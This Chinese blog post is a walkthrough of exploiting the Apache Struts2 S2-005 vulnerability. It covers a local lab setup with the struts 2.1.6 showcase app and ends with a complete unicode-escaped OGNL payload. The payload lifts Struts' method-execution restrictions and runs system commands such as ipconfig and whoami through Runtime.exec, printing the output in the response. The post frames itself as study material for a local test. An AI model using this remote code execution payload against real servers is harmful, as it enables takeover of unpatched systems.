美文网首页
Struts-S2-005漏洞利用(含环境搭建、含POC)

Struts-S2-005漏洞利用(含环境搭建、含POC)

作者: 心如水_0b05 | 来源:发表于2017-07-24 23:06 被阅读0次

    Struts-S2-005

    此文仅供大家交流学习,严禁非法使用

    一、参考网址:

    https://www.waitalone.cn/struts2-command-exp.html

    二、 影响版本:

    Struts 2.0.0 - Struts 2.1.8.1

    三、 漏洞介绍:

    S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
    S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

    四、 环境搭建:

    • 下载/struts/2.1.6

    下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

    • 下载安装xampp

    • 部署showcase

    • 解压

    2.1.6_1.png
    2.1.6_2.png
    • 复制到.
    2.1.6_3.png
    • 重启tomcat
    2.1.6_4.png
    • 已成功自动部署
    2.1.6_5.png

    五、 POC:

    ?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
    

    六、 测试网址:

    http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
    
    1.png

    在后面加上payload,即

    2.png

    七、执行结果

    3.png

    执行成功
    更改为命令为whoami,执行结果

    4.png

    提示下载文件,具体为什么,不清楚,下载后用notepad++查看

    5.png

    依然有需要的结果

    八、 至此,该漏洞基本利用完毕

    本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

    坚决做一名白帽子

    相关文章

      网友评论

          本文标题:Struts-S2-005漏洞利用(含环境搭建、含POC)

          本文链接:https://www.haomeiwen.com/subject/qkuikxtx.html